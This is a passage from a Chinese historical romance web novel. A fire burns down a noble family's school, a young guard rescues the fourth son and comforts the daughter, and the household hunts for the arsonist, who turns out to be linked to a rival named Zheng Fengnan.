上回和夫子一起走到褚氏院门口,便瞧见过一次陈姨娘出门。而后又被乔誉撞见过许多次,这太不寻常了。 “我心里起疑,有一日主动去看她,她很开心,没多久便表露了想法,我这才知道,她并不希望我参加科考。” “她许我读书,却不愿我科考,更不愿我做官。她说我是庶子,不该和嫡子相争,就该像二哥一样。” 听至此处,谢昭凌微微皱起眉头。 “我长到十二岁,她都不曾记挂我,等我去年考过童试,成了童生,有了科考资格,明年又要举办院试后,她才频频有了动作。” 乔誉一向心思深重,只这一个苗头,他便能往后想出许多步来。他的生母或许不止是不喜欢他这么简单,她不希望他能出人头地,最好就默默无闻一生才好。 陈姨娘自到乔府为妾后,这些年莫说是自己的亲生儿子,就连乔父乔母也极少见,她不争宠、不惹事,存在感极低,甚至一些进府时日不长的婢女都没见过她。 虽说是身子不好,常年养病,可每年到年关,她一个妾室必须要到主母面前问候这事,她也从来不做,好在褚氏宽宏,从不计较。 谢昭凌也没见过这位陈姨娘,他先前还以为乔誉与二公子是一母同胞。因为府上只见一位赵姨娘,就是二公子的生母,从未见过另一位陈姨娘。 “姨娘盼望我无声无息地在乔府里活着,最好和她一样,当个不被人察觉的影子。” 他从前也一直都是这样做的,他事事收敛,从不冒头,做乔家最不受人注意的公子。 “可是母亲待我们一视同仁,并无分别。包括乔家的学堂,母亲也让我和二哥小妹一起去,在母亲眼中,嫡庶从来都不是那么重要,我是母亲的孩子,我能感受到她希望我成为国之栋梁。” “母亲是主,姨娘是仆,妾难道不应该听从主母的吗?”乔誉面色痛苦,捂住额头,“可我前日去问母亲,她却说此事要我顾及姨娘的意愿。” 顾及姨娘的意愿,就不管他的一腔抱负了吗? 夫子说他若参试,必能考中。 乔誉不盼着自己能中,只是想去试试,也算这么多年的勤学刻苦没有白费。 “谢护卫,依你看,我当如何?我是应该听从母亲的话,放弃科考,还是……遵循本心?” 谢昭凌没多思考:“做自己想做的事。” 乔誉心头紧绷的弦微松,又问道:“若你遇上这事,你会……” “我没有父母了,他们无法阻拦我做任何事。” 乔誉一噎,面色愧疚,“抱歉,我……” 谢昭凌神情淡漠,“无妨,我并不在意。” 毕竟那两个畜生还是他亲手宰的。 乔誉思来想去,也没想出除了父母之外,还有什么人能对自己的人生有操控的权利。 他灵光一现,问道:“若月儿非要你去考试,你会去吗?” 谢昭凌想都没想,“去。” “哪怕你无身份证明?” “我会想办法。” 乔誉脸色难看,自己的烦恼暂时忘却,妹妹被人觊觎的感觉又来了。他目光阴沉,直直看过去。 “那月儿指名让你三元及第,你也敢应下?” 谢昭凌依旧是那副平淡冷静的模样,微微颔首:“自然。” 乔誉一口气憋在胸口,上不去下得来,他语气不善:“你怎么不说你要篡位,自立为王呢?!” 呸,狗男人,大言不惭! 谢昭凌微勾唇角,“若她需要,我会拼命去做。” 他那表情理所当然,仿佛‘不拒绝小菩萨’的本能已经被他刻进了骨子里。 乔誉:“……” 真敢想啊。 乔誉这下没话了。 “月儿希望你做什么,你就会去做,可你又说要遵从本心……” 谢昭凌奇怪地看他一眼,“这二者之间,并不冲突。” 小菩萨的意愿,便是他心之所向。 乔誉额角突突直跳,手攥成拳,咬着牙,“那倘若,二者冲突了呢?” 谢昭凌斩钉截铁:“不会。” 乔誉忍无可忍,拍案而起,“我是说假如!!假如你要去做一件事,与她的意愿相悖,你会妥协吗?” 谢昭凌沉默下来,思考时,手指在桌上轻轻点了两下。 乔誉呼出一口浊气,理了理衣裳,坐了回去。 半晌,谢昭凌道:“我会偷偷做。” 听谢昭凌堂而皇之地表示自己会隐瞒会欺骗,乔誉心情复杂,他举的例子实在不妥,谢昭凌如何回答,他心里都不会痛快。 他们关系太好,乔誉心里吃味。 他要骗她,乔誉又觉得怒火中烧。 “罢了,是我病急乱投医了。”乔誉叹了声,“多谢,我再想想吧。” 谢昭凌“嗯”了声,转身回去。过了会,又扭回头。 “你是想要做官吗?”他一阵见血,冷静地问道,“不科考,如何做官?” 以乔父的性子,必不会给人行方便,哪怕是自己的儿子。所以乔誉若想走仕途,只有科考一条路。 乔誉愣了下,忽然想起许夫子也问过同样的问题。 ——“若你科考是为当官,为国为民,那你自可去闯出一片天。若你不想做官,只喜读书之乐,那倒不必如此忧虑。” 乔誉倒是忽略了这一点。 他钻了牛角尖,一味地徘徊在孝道与抱负之间,却忘了夫子的教导。 “我想做官。” 乔誉想,若是没有谢护卫在此刻点醒自己,他当真要忘了夫子的话,忘了这些年读书时下的决心。 他屈服于‘孝’字上,放弃科考,而后默默无闻,在乔府内过着安稳又无趣的一生。 那一眼就望到头的人生,并非他想要的。 “多谢你。” 这次乔誉的感谢真心实意。 谢昭凌冷淡地道了声“不用”,便转回去,专心读书去了。 乔誉抄了半篇文章后,忽然问道:“谢护卫,若你往后有机会做官,你会离开乔家,奔赴朝堂吗?” 谢昭凌埋头写着,毫不犹豫道:“自然。” “可是……你若离开,月儿定会不舍。” 谢昭凌蓦地停笔,他垂着眼睛,浓密乌长的睫羽遮住他眼底的晦涩。 半晌,他道:“我会往上爬,直到爬不动为止。” 走到高处,做那人上人,才能护佑她周全,不再忧心会受人欺凌,保她再不被柳步亭那种人的骚扰。 知他不甘平庸,却不知他野心这般大。 乔誉震撼得再也没说出话来。 二人不再交流,继续做自己的事。 不知是不是萦绕在心头的烦心事终于了了,乔誉竟生出几分困意。 他已经好几夜没睡过一个完整的觉,一闭眼就是姨娘的脸,耳边萦绕的,是母亲无奈又惋惜的话。 被谢昭凌点醒后,他如同被打通任督二脉一般。 他心里坦然平和不少,合上书册,枕着手臂,沉沉睡去。 又半个时辰过去。 谢昭凌也生出些倦意。他揉了揉额角,想着也小憩一会。 方才陪乔誉说了太久的话,耽误了些进度,他今夜就多熬一会再回去。 他埋首于臂弯,很快也模糊了意识。 睡梦之中,谢昭凌的机敏与警惕比白日时更甚。 在身体本能察觉到危机时,他便脱离了纷繁杂乱的梦境,立刻惊醒。 哗—— 在他抬头那瞬,学堂的门忽然被风吹开。 风将他与乔誉桌上的烛灯吹灭。 少年一双锐利的黑眸,在暗夜里,显现出如狼一般的锋利来。 他眯着眸子,望向大开的房门,屏息静气,去听外面的风声。 不对劲,有脚步声。 谢昭凌戒备地环视四周,手按在腰间的佩剑上。 自有了攀云剑,他日夜不离身。 屋中无人,除了呼啸的风声,就是乔誉规律又平稳的呼吸声。 谢昭凌不敢大意,他站起身,隐匿了气息,脚步无声,快步行至门边。 将身子掩在门板后,往外看,目光冷森,带了几分杀气。 院中无人,空气中却有一股熟悉的味道。 几乎是闻到灰烬味时那刻,脑海里便涌现出许多幼时的回忆来。 他被架在柱子上,周遭都是熊熊燃烧的烈火。 他的手臂被灼烧,头发也断了半截。 他们叫嚣着,欢呼着,畅想着一会该如何分配他身体燃化的灰。 谢昭凌蓦地闭上眼,甩了甩头。 将会扰乱他心神的记忆尽数摆脱,再睁开眼,火已经蔓延了过来。 起火位置并不在学堂里,看方位是在隔壁的祠堂。 是意外还是人为? 看样子是从祠堂门口烧起来的,那多半就是人为。 放火之人大概想烧了祠堂,却未曾料想今夜刮东南风,不是冬季常刮的风向,于是风一吹,火没进祠堂,反而往隔壁的学堂里而来。 木质的房屋本就极易生火,今夜风势浩大,这场火必然会迅速蔓延开。 得尽快灭火。 须臾间,谢昭凌迅速有了盘算。 他将攀云剑在腰间的挂绳又紧了紧,跑回座位,将两人案上的书尽数揽进篮中,而后并未试图去叫醒乔誉,平白浪费时间。 他拉住乔誉的胳膊,单臂用力,一把将乔誉拉到自己背上。 一手拎着书篮,一手勾着乔誉的腿弯,背着人就往外冲。 谢昭凌暗自庆幸他醒得及时。 少年反应迅速,动作机敏,没叫他们葬身火海。 乔誉是被颠醒的。 他睡得正熟,正做梦,忽然梦里有人骑马朝他飞奔而来,那人看不清面容,但那人给他的那种又讨厌又忍不住惺惺相惜的感觉,隐约觉得熟悉。 不等乔誉看清来人面容,那人便从马背上俯身,拉着他的胳膊,就把他拎了起来。 乔誉虽是少年之身,但好歹也是个男孩,并不轻。 那人抓他像抓小鸡似得,拎起来,粗鲁地扔到马背上,而后以更快的速度疾驰。 在乔誉下巴磕到对方的肩上,不慎咬伤舌头,痛得醒来时,他只觉得天旋地转,没等反应,他又被人扔到地上。 “唔!” 后背种种摔在地上,火辣辣得疼。 未等他睁眼,迎面又扔过来一个篮子到他脸上。 乔誉再次被痛击,眼睛里立刻涌现出泪花来。 他躺在地上痛呼,一道熟悉的声音响彻夜空,划破苍穹。 学堂就开设在二门附近,离乔家男仆居住的倒座房极近。 谢昭凌飞奔到仆人的院子,一脚踹飞房门,大喝了声:“魏二!起来灭火!” 这一嗓子顿时惊醒了倒座房中所有护院。 谢昭凌转头奔向水井,打了满捅的水,又往回跑。 乔誉闻到空气中的硝烟味,蓦地翻身爬起来。 灼热的温度炙烤着皮肤,烈烈火光倒映在瞳中。 他看到谢昭凌冲向火海的身影,瞳孔微颤,一骨碌爬起来,也冲上去帮忙。 十几名护院齐心合力,终于将大火扑灭。 乔誉望着烧得不剩什么的学堂,手一松,水桶滚落到地上,往后踉跄了两步,险些摔倒在地,被人从身后撑住。 乔誉后知后觉,自己的手因为脱力而地抑制不住地发着抖。他怔怔回头,对上谢昭凌冰冷的目光,心头一滞。 他鼻子一酸,喃喃道:“没了,咱们的学堂没了……” 谢昭凌拧眉,眼底浮现浓重的戾气,他收回按在乔誉肩上的手,越过众人,迈步进了那一片废墟中。 趁着还未被人毁尸灭迹,先找找线索。 他站在废墟前沉思,忽听身侧传来一道急促的跑步声。他没注意,正要蹲下去查看。 侧面忽然冲过来一人,直直撞进他怀里,来人双臂用力地揽在他的腰际,紧紧将他缠抱住。 鼻腔中涌入熟悉的味道,谢昭凌愣了下,低头看去。 小姑娘裹得严严实实,身上却带着一股寒气,她大抵一路跑得匆忙,发髻都跑乱了,埋头进他怀里,额发也蹭得凌乱。 她呜咽了声,一个字也没来得及,便失声痛哭起来。 “……” 这时才追上来的刘妈妈好不容易喘匀了气,见主子被少年护在怀里,心中终于稍作安定。 刘妈妈望着面前的狼藉,神情凝重,走到乔誉身边,“此事还得尽快禀报给老爷夫人,请四公子待会同老奴一起去回话吧。” 乔誉也没听清说的什么,魂不守舍地点点头,忽然想起什么,奔到角落,抱起自己的宝贝书籍,后怕得几乎要落下泪来。 得好好感谢一下谢护卫。 书是他的命,书要是毁了,他该怎么办啊。 刘妈妈看看这边四公子爱书如命,又看了看那边紧紧相拥的主仆二人。 “……” 她叹了口气,指挥着众家丁收拾残局。 乔姝月与谢昭凌并肩往回走。 两人手牵得极紧。 “姑娘,别哭了。” 谢昭凌看了一眼被人死死抓着的手,无奈地说道。 小姑娘依旧在抽泣,没有要停的意思。 “姑娘想我牵着你去和夫人回话吗?” 善后的事无需谢昭凌参与,他只需要到主院去说说情况。可是眼下这境况,他脱不开身啊。 乔姝月不理不睬,呜呜落泪,察觉到人往外抽手,她加重了力道,攥得更紧了些。 今夜实在太过惊险,若是他没能跑出来,她是不是就再也见不到他了? 一想到这个可能,乔姝月就心肝脾肺搅在一处疼。 “姑娘,你——” 手背上忽然传来一阵潮湿黏腻的触感,声音戛然而止。 谢昭凌错愕地望过去,只见小姑娘抬起两人交握的手,放到自己脸上,用他的手背,抹了一把眼泪。 温热的眼泪扑簌簌地,止不住地往下流,流过谢昭凌的手背。 谢昭凌:“……” 乔姝月似乎没觉得有什么不对,她一边哽咽,一边往前走,走两步,又满脸眼泪,再抬起他的手,抹了一把脸。 怎么还越擦越多了呢? 乔姝月心底恼怒,擦脸的动作愈发粗暴起来。 手背被人蹂躏得发疼,不知她那娇嫩的脸蛋受得了吗。 谢昭凌无奈地轻笑出声,他站定,将小姑娘一把拉了回来。 小姑娘眼泪汪汪地仰着脸,委屈地看着他,嗓音软软糯糯,带着哭腔,“嗯?” 嗯什么嗯,还冲他撒娇。 谢昭凌心底轻叹,抬起另一只自有且干燥的手,温柔地抹去了她脸上的泪。 他弯下腰,视线与她齐平,目光温和沉静,认真地帮她清理。 乔姝月怔怔望着少年的面庞。 一双精致隽秀的凤眸中,藏着她从前想都不敢想的温柔。她还能记起这双眼睛里满是冰冷与防备时的那样。 此时此刻,他在为她拭泪。 谢昭凌手指擦完眼泪,并未立刻离开,他没忍住摸向她的眼睛。 乔姝月下意识闭了眼睛,眼眶里的泪珠又滚落几滴。 她感觉到那只带着薄茧的手指极尽温柔,小心翼翼地摸了下她的眼睛,将挂在她眼睫上的泪也一并抹去。 力道很轻,并不妨碍什么,于是她又慢慢睁开眼睛。 触在眼睛上的那只手顿了下,而后旁移,停在她微红的眼尾处,轻轻摩挲。 “阿凌哥哥。” 小姑娘娇声唤了一句,不好意思地想往后缩,可又贪恋他表现出来的怜爱,不太舍得就此离开,于是生生止住后退的欲望,手下意识要去拉他的衣摆。 然后,刺啦—— 衣角被她拽掉了。 乔姝月:? 她举起手,看了看手里的碎布料。 谢昭凌偏过头去,笑了一声。 约莫是救火时不慎被火燎到,他身上的衣裳又变得破破烂烂的。 即便未亲眼见其凶险,也能通过事后种种迹象,估测出当时的危急程度。 大片的废墟,她都瞧见了。 “你知道我要吓死了吗?我以为我们又……” 乔姝月说不下去了,才刚止住的眼泪,一下又出来了。 她好害怕他们和前世一样。 明明只是一次普通的道别,本以为还有重逢的机会,却不曾想,一时的分别,竟成永别。 乔姝月猛地往前扑,一头扎进少年的怀里,两只手紧紧揪住他的衣服,脸埋在他身上安静地哭。 谢昭凌并不推开她,他听到远处有人往这边来,揽着他躲到一处矮墙后。 他背贴着冰冷的墙壁,将人揽在身前。 一手摸上她的脑袋,极慢极有耐心地揉。 另一手搭在她的后背,轻柔地拍着。 有夜风吹过,少年收拢手臂,脊柱微微前弓,整个人将她包裹在怀中。 一墙之隔,刘妈妈带着一行人往主院赶。 “四公子可知这火因何而起?” “说来惭愧,我睡着了,若无谢护卫相救,此刻怕是……” “那还是要等谢护卫来说了,只他清楚发生了什么。” “正是,谢护卫和月儿先行,怕是已经到了,我们也快些吧。” 一行人赶着往前,步子匆匆。 两人在角落相拥,温情在暗处流淌。 谢昭凌感受到腹前一片濡湿,无奈地道:“月姑娘,等会见了夫人,我要怎么说啊?” 他灭火,水弄到身上了。别处都干了,就身前这一块还湿着,正好是她趴上来的位置。 乔姝月用头撞了撞他,“我管你怎么说?随便说。” 他总不会真的说有个小哭包哭了他一身眼泪。 “我们险些又天人永隔了。” 乔姝月窝在他怀里,低声呢喃。 声音太含糊,谢昭凌没听清,他侧耳过去,“什么?” 脸颊忽然又贴上来一双香软的唇。 谢昭凌蓦地僵住,耳根开始泛起阵阵热意。 他没躲开,而是将她抱得更紧。 这是“妹妹”的示好,他不可以躲开。 少年无措又腼腆地说道:“月姑娘,等会见了夫人,可不能这样。” 见着谁都不能这样,容易叫人误会多想。 他们私下里,这样倒也、倒也……没什么的。 只要她高兴就好。 “你叫我一声阿月好不好?” 她轻抬起唇,凑到他的耳畔,低声恳求。 想听陛下这么叫她。 谢昭凌不知怎么,头脑发昏,竟为了一个称呼而神思恍惚。 他脱口一声:“阿月。” 很快冷风一吹,他清醒过来。大脑冷却了,可脸颊却一片滚烫。 他慌乱地松开人,“抱歉,月姑娘,我们快走吧。” 乔姝月摸了摸耳朵,回味着方才那一声轻而低、缱绻温柔的呼唤。 和前世二十多岁的陛下唤她很像,只是还带了些生疏与青涩。 她拉起他的手,往自己脸上又抹了一把。等他手上都是她的眼泪鼻涕后,又嫌弃地扔开。 低头挑了一块完整的衣摆,伸手拉了上去。 “走吧,我也有事同母亲说。” 她可能遇到了纵火的人。 第48章 【48】 褚氏院里此刻灯火通明,院子里聚了不少人,都是方才一起救火的护院。 这些粗使的仆从寻常没有机会进到内宅,如今到了主母的地盘,一个个噤若寒蝉,不敢抬头。 乔姝月在前,谢昭凌在后,二人一起越过人群。 这些人方才跟着谢昭凌一起救火,早就对他佩服得不行。 别看这小子年岁不大,身手却极好,跑得是他们中最快的,力气也很大,不知不觉成为众人的主心骨,发号施令时有条不紊,坚决果断,让人不自觉对他信服。 有事第一个冲到前面。 功成身退时,又低调沉默。 众人哪怕有听过他的一些风言风语,此刻也扭转了对他的印象。 魏二站在人群之首,见到好兄弟,压抑不住兴奋冲他摆手。 谢昭凌停在他身旁,看向众人,对大家揖手行礼,郑重道:“诸位今夜辛苦。” 事发突然,他还把大家的门踹坏了,幸好无人怪罪于他。 “不辛苦不辛苦,这不是咱们分内的事嘛!” 魏二抢先答道。 原本寂静的院子一下子热闹起来。 “应该的,应该的。” “谢护卫太客气了。” 乔姝月赞赏地看他一眼。 旁的不说,陛下这领袖能力可是打小便初见端倪的。 李嬷嬷打开门见到他们,哎哟一声,“您二位这是上哪儿去了,怎么才到啊。” 谢昭凌嘴角噙笑,低头看向自己的主子。 乔姝月咳了声,“走得急,扭了脚,所以找地方坐了会。” 李嬷嬷一听脸色变了,拉着人连忙查看,“可要紧吗?老奴去找了郎中来。” 乔姝月笑着摇头,“谢护卫懂一些按摩手法,他已帮我看过了。” 谢昭凌:“……” 李嬷嬷松了口气,嗔她一眼,“姑娘总是冒冒失失的,快进去吧。” 她说完,心头浮起一丝怪异感。 李嬷嬷看向谢昭凌,心里琢磨着,谢护卫手劲儿那么大,倒是像会按摩的,只这……是不是不太妥当? 不等李嬷嬷深思,乔姝月转过身去,看向院里的护院们道: “今夜若无诸位齐心协力,怕是不止一处要遭难,我会同母亲说,对诸位加以赏赐。” 魏二眼睛一亮,推脱道:“姑娘言重了,小的们不为赏,乔府也是我们的家,自然要尽力守护。” 乔姝月道:“府上一向赏罚分明,该是你们得的,乔府不会吝啬。只是今夜一事尚有蹊跷,作恶之人仍在逍遥,若有知情者提供线索,我们也会酌情考虑,予以奖赏。” 乔姝月看向魏二,“你说的不错,大家同住一屋檐下,自然都希望平安顺遂,既有人要破坏乔府安宁,必当人人得而诛之,绝不可轻轻放过。” 魏二一听还有银子拿,这下干劲更足,忙不迭应下,转身也号召起大家来。 “月姑娘放心,小的们必将那贼人揪出来!” 护院们群情激昂,还是在李嬷嬷的制止下,才安静散去。 “你怎知是有人故意为之?” 推开门,谢昭凌借着侧身的姿势低声问她。 乔姝月看了他一眼,没言语,率先进门。 四哥与刘妈妈早就到了。 褚氏迎上来,见她无碍,才松了口气,“火光冲天,我都瞧见了,你怎么还往那边去呢?” 刘妈妈给乔姝月使了个眼色,乔姝月心领神会,腼腆笑道:“我瞧大家都那么勤恳,也想着去读书。” 乔父拧着眉,轻声训斥:“你又不考取功名,那么刻苦作甚?学得再多往后也要嫁人,又有何用?相夫教子,会认字便够了。” 乔姝月低下头,撇撇嘴,不说话了。 褚氏适时打圆场,睨了一眼丈夫,“行了老爷,孩子本就害怕,还训她作甚?又不关她的事。” “不关她的事,她没事往学堂跑什么?” 褚氏心里也火了,这帮男人一个个都心高气傲的,在朝堂上逞威风惯了,回家还要继续撒泼。 怎么,女子就不能多读书了?什么狗屁道理。她女儿未来是嫁人,又不是要造反,怎么读个书还是罪过了? 为了能让女儿读书,她特意自掏腰包,用嫁妆银子打造了学堂,让这府上几个没地方上学的孩子去读书,又没出去占旁人的名额,碍着谁了? 今夜一把大火把她的心血付之一炬,她还没埋怨,这男人倒是先叽叽歪歪起来,是何道理?真是吃饱了撑的。 褚氏懒得搭理他,只一心安抚女儿,“读,想读就读,只是冬夜寒凉,在房中看就好了啊。” 乔姝月眼眶微红。 她前世能有才学,也多亏了母亲的偏爱与开明。 “月儿想着,四哥也在学堂,人多读书更热闹,有动力。” 乔父拍了下桌子,怒道:“读书是自己的事,凑在一处还能专心?” 褚氏不耐烦地回头瞪了丈夫一眼,“闭嘴。” 当个御史,在外头挑完同僚的刺,回家还要挑家里人的错。依她看也别叫御史了,叫挑史算了。 乔父愤愤地扭过头,哼哧哼哧喘着粗气,显然气得够呛。 这个家是褚氏在管,有时乔父也说不上话,但乔父一旦较真起来,脾气犟得像头驴,他若坚决不松口,褚氏也拿他没辙,只能自己先退让两步。 今夜还好,乔父没再犯倔病。 褚氏松了口气,又道:“往后晚了就别出去了,不安全。” “阿娘,我是在咱们自己家里啊。” 褚氏脸色冷下去,“哼,家里近来进了太多不三不四的人,是该管管了。” 不三不四…… 谢昭凌眼睫微颤,头垂得更低。 “谢护卫,老四说你将他救出来的?”褚氏忽然点了谢昭凌的名字,“先有月儿,后又阻了良儿去悦泉楼,如今又救下誉儿,我乔家欠你太多了。” 褚氏由衷感谢这少年,都说仆救主乃天经地义,但褚氏一向不把旁人的付出当做理所当然,你要说家仆拿了银子洒扫伺候是应该的,那救人一命这种事,显然不是每个人都能做到。 唯有不吝啬地奖励这种行为,才会叫底下的人诚心信服,忠心不二。 若是做了好事,还对人颐指气使的,那不是让人寒心吗。 像那些德行浅薄、恃强凌弱的人家,愿意追随的也必都是些利欲熏心的刁奴,长久以往,家族覆灭是早晚的事。 “树倒猢狲散”,正是这个道理。 要想将大家族的人心聚拢在一起,掌家者就不可对一些小事淡然处之,态度傲慢,不然真遇上什么事,这盘散沙风一吹便消亡了。 人性就是如此,褚氏不敢去赌。 “一码归一码,若你有所要求,尽可提来。”褚氏沉着脸,坐于上位,沉思道,“先将今夜之事说一说吧。” 谢昭凌低声应“是”,一五一十如实道来。 他没有将自己猜测的事说出来,只陈述事实,说完后便沉默下来。 屋中气氛顿时凝重。 乔姝月适时开口:“阿娘,我与刘妈妈往学堂去的途中,遇到一人。” 刘妈妈连连点头,也说正有此事。刘妈妈将来龙去脉道来,谢昭凌的脸色愈发难看,望向乔姝月的目光晦暗深邃,藏着不可示人的狠厉。 她竟险些置身于陷阱。 谢昭凌默默捏紧拳头。 褚氏恨得牙痒痒,“查!去将那人找出来!” 李嬷嬷领命,传话下去。 乔姝月没注意谢昭凌的神情,接着刘妈妈的话补充道: “那人身形矮小,像是女子。走路时有些跛脚,似乎是跑的太急受了伤。且她手里拿着东西,不知是何物,但我觉得她应该没有攻击的能力,拿着的或许是纵火之物。 她走的是东侧的夹道,这边的路往西会经过大哥与阿娘的院子,往东则依次是三哥、两位姨娘、还有夫子的院子。” 褚氏按了按额角,没想到女儿能注意到这么多的细节,可是一想到她正面与贼人交过手,这心里就止不住后怕。又搂着人说了会话,才让人都退下。 各自回院。 谢昭凌一路跟在身后,沉默寡言,很是安静。 刘妈妈在一旁道:“夫人安排了人,明儿为你量体裁衣,这回可不许再胡来了。” 乔姝月乐了声,“再不成,就只能本姑娘亲自上手了。” 她指望着谢昭凌能笑一笑,或是看他别扭又躲闪的目光,结果他什么反应都没有。 垂着头,神色凝重,不知在想什么。 直到转日,此事才正式算闹开。 后半夜落了小雪,如今在地上覆了一层薄薄的白霜。 乔良一早就赶到木兰院。 “昨儿睡得早,一觉醒来天都塌了!” 乔良虽然不爱读书,不喜上学,但见着房子烧没了,也心疼得不行。 “那是母亲的心血啊……不行,我得做点什么。”乔良曲着长腿,缩在小板凳上,看乔姝月玩地上的雪,“还好我早把欠你的还了,不然手里若有存余,定要尽数孝顺了母亲去。” 正说着,西厢房门打开,一行人走了出来。 乔良望去,见为首的是一直给他们家做衣裳的伙计,诧异道:“谢护卫要做新衣了吗?” 刘妈妈跟在臭脸少年的身后,笑道:“他昨日救火冲在前头,毁了衣裳,正好他近来又长高不少,裤子都短了,再做两身新的。” “长高了?”乔良眼睛一亮,“来,比比!” 他作为家里弟兄中最高的一个,在这方面胜负欲一直很强。 谢昭凌冷冷看他一眼,乔良又坐了回去,嘴硬道:“算了,我不和小孩子比,等你长大点再说。” 谢昭凌走到近前,居高临下,看着二人,“二公子何时欠钱了?” 乔姝月:“……” 乔良:? “合着你不知道我被抢,啊不,我为了感谢你而付出银子的事啊?” 谢昭凌听到那个“抢”字,还有什么不懂的。 低下头,对上女孩无辜的眼神,无奈勾了勾唇。 没出两日,褚氏便抓到了纵火的真凶。 竟是赵姨娘院里新来的丫鬟。 按照正规流程,这府上凡是进人,都要通禀过褚氏才行,或是知会少夫人陆氏一声。 然年底两位夫人都忙,赵姨娘瞧着那小丫头可人,便从外头买了回来,想着等夫人清闲了,她再说也不迟。 结果就才过几日,便出了这塌天的祸事。 赵姨娘被狠狠责骂一番,关回房中静思己过,乔良没有为其求情,是非对错他分得很清,褚氏待他不薄,他不该在此刻一味维护。 只是到底是他生母,乔良做不到冷眼旁观,自请也禁足一月,抄写经书供奉于祠堂。 处理贼人那日,正是腊月二十六宰牲畜的日子。 且不说签了死契的家仆打骂随意,打死都不会有人追究。 单说在主家纵火一事,告到官府,也能定她一个死罪。 乔父盛怒,欲命人打死,被乔家大哥拦住。 褚氏思虑深远,怀疑这丫鬟另有目的。她的心血付之东流,却并未急着杀人泄愤,只将人捉了审问。 人死之前,总得吐出点东西来。 那丫鬟死咬牙关,一字不肯透露,只说自己一时不慎洒了灯油,这才致使大火。 一听便是敷衍,褚氏也懒得再磨。命人仗其二十,打了个半死不活。而后又让李嬷嬷带着几名护卫,将人扭送官府。又叫人上下打点,盯着点别叫人死了,死了可就什么都问不出了。 那场大火瞒不住西京城里的各双眼睛,那索性也没有遮遮掩掩的必要,将此事再闹得更大些,让别有用心之人有所忌惮。 谢昭凌就跟着自己的主子,站在离院门最近的位置。 他隐约察觉,那丫鬟被架走时,似乎看了他一眼。 这一眼叫谢昭凌警觉。 临近除夕,出了这档子事,年味都淡了。 阖府上下,风雨欲来。 褚氏将铺子里的事全权交给陆氏负责,自己则亲自将府内彻查一遍。 褚氏下令,严查近三个月入府的所有人。先筛查三月内的,等查过一轮,再扩大为半年内。 各院均要将新人的情况如实汇报上来,以便核查。 乔府入府门槛高,筛查比别家已经严格不知多几何,都有歹人潜进来,可见管理一大家子有多不易。 谢昭凌在听到三月内时,心弦微松,听到之后还要查半年内的,眉眼间又浮现一层冷色。 他恰好在这半年时间内。 更让他在意的,是那个丫鬟为何要看他。 这一次整顿声势浩大,各院倒还真查出一两个没登记过的。只不过都是些粗使奴仆,且查过之后,干净清白,并无差错。 可纵然没出漏洞,乔父也发了好大的火。他最是刻板严苛,一样一样都得循着规章来办,但凡越过了规矩去,他都要恼怒一番。 他做御史多年,不懂变通,也很难扭转观念,认定了的事就死都不改,幸好他的官位并不太高,头上还有个能压得住他的上官,在朝堂上能拉着他些,否则以乔父的性子,早就被皇帝拉出去杀八百回了。 乔父坚定认为出身低贱的人品行有缺,并不存在“出淤泥而不染”一说,只有小污与大污之分。 为奴为婢者,若只是出身贫寒,或许十中有一为优,加以管教,十中有半数都能入的了乔父的眼。 但出身三教九流的,便是一个都瞧不得。 尤其是转日听官府传来消息,说那丫鬟招了,称自己收人钱财为人消灾,又查出那人在被赵姨娘买回来前,曾两次进出悦泉楼。 这下可把乔父气坏了。 “破巢之下,焉有完卵?!那污浊之地,尽是些宵小之徒!金玉其外,徒有其表,实则藏污纳垢,早就都烂透了!” 自此,乔父对于悦泉楼的恶意更深了。 眼见着就要查到木兰院头上,乔姝月头顶有朵化不开的愁云。 这好端端的,若是没有这茬,谢昭凌的身份就可以一直瞒下,时间久了,没人会在意。 偏偏在这个时间出了问题。 乔姝月心神不宁,乔誉劝她:“谢护卫有功在身,在这场大火里亦深受其害,他如今有照身贴,你就光明正大报上去,不会有人怀疑他。吴大夫也不是多事的人,他不知道谢护卫的来历,不会乱说。” 真正知道谢昭凌来历的,只有老二老四还有乔姝月的身边人。乔誉觉得,只要谢昭凌低调些,这段时间并不难混过去。 若放在从前,乔誉绝不会这么偏袒谢昭凌。 可谁让谢昭凌昨晚救了他一命呢。 乔誉叹了口气,未曾料想到,当初被他刁难的人,如今成了他的救命恩人,以及点醒他、没叫他误入歧途的良师益友。 “至于他在悦泉楼那一段……就先避避风头,别让他出门了。” 只要不遇到从前见过他的人,就无人能发现他们藏起来的秘密。 “千万不可被父亲知晓。”乔姝月低声喃喃,“不然这日子就没法过了。” 木兰院将谢昭凌的情况报上去,和当初乔誉的说法一致,由乔誉从吴氏医馆带回,人有照身贴,褚氏没细查,随意看了两眼便放下了。 倒是乔父拿起来看了好几眼,“是那晚跟在姝月身边,腰间佩戴攀云剑的少年?” 也不知是什么人,能得到攀云剑这么贵重的赏赐。 褚氏诧异他记得,“是他,他先前是在老四院里当差,后来偶然救了落水的月儿,不知老爷可还记得?” 乔父这下印象深了,“是那个识字不久,却仅靠抄几遍书便能背诵整篇弟子规,还应对上来我的问题那小子?” “是他。”褚氏笑道,“老爷不是还准他去学堂读书吗?” “是了是了,想起来了,”乔父难掩期待,“如今如何?” “诗经已学完,正在读礼记,夫子对他赞不绝口呢。” 乔父捋着胡子笑了,积攒数日的郁气终于散了些。 “不错,果真是个好苗子。攀云剑给他倒也合适,听闻他身手也不错,那晚都靠他机敏。”乔父将少年的照身贴合上,在桌上拍了下,“瞧瞧,这就是好人家出身的孩子。” “听说他父母皆不在了?回头还是要弄清楚是如何去世的,以及可还有旁的亲人,不然往后若想送去科考,都不好办。” 褚氏笑着应了声好。 入了夜,谢昭凌偷偷翻出乔府,去了上回和郑丰南见面的茶楼雅间。 到时,郑丰南果然已经在了。 “是你的人,对吗。” 谢昭凌一把推开房门,冲进去质问。 郑丰南被冷风吹得一哆嗦,愣了下,笑开:“哎,许久不见,怎么这么凶啊。” 他给下属使了个眼色,下属退了出去,将门关好。 “来,喝茶暖暖身子。” 谢昭凌反手将茶杯挥到地上,利刃出鞘,架在郑丰南的脖颈。 “是你,对吗。” 郑丰南叹了口气,抬举两只手,“是我是我,行了吧?能不能坐下好好聊?” 自然不能。 谢昭凌举着剑,眉眼间皆是冷色,“我说过,不要打乔家的主意。” 郑丰南哦了声,“我也说过,是在你愿意跟着我干的前提下。” 否则,一切免谈。 郑丰南睨了一眼少年腰间的刀鞘,说道:“这剑真不错,那小姑娘送的?” 唰——!! 利刃归鞘。 谢昭凌坐了下来。 “哟,没想到你如今这么衷心,”郑丰南眼底笑意散去,冷声道,“像一条狗似得。” 